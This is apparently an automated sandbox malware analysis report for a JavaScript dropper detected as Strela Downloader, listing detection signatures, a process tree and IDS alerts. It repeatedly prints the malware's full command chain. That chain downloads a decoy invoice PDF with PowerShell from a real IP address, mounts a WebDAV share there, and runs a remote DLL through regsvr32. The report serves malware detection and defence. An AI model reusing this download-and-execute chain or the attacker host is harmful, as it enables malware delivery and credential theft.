Edit tour

Windows Analysis Report
32279194341766111087.js

Overview

General Information

Sample name:	32279194341766111087.js
Analysis ID:	1588932
MD5:	7ccb5c7b6893e6d2dc1e768459f27075
SHA1:	3998331ea5bb1dbf947828102f2424959e73612d
SHA256:	fc0bc9388cbd9e5027c96493b00822bd833a49108c0cc77ef8a88b2f1c9551a5
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 868 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3536 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3864 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7212 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7424 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1748,i,11596706274574819651,14604859157865583046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7228 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7260 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7484 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 868	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3864, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3864, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ProcessId: 868, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7260, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49724

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ProcessId: 3536, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ProcessId: 3536, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ProcessId: 3536, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ProcessId: 3536, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ProcessId: 3536, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ProcessId: 868, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3864, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7228, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7260, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7484, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7228, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7260, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll, ProcessId: 3536, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:20:01.334825+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.11	49708	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:20:04.093898+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49724	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:20:01.334825+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49708	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 32279194341766111087.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 32279194341766111087.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.11:49708 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49724 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:20:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49724

Source: global traffic

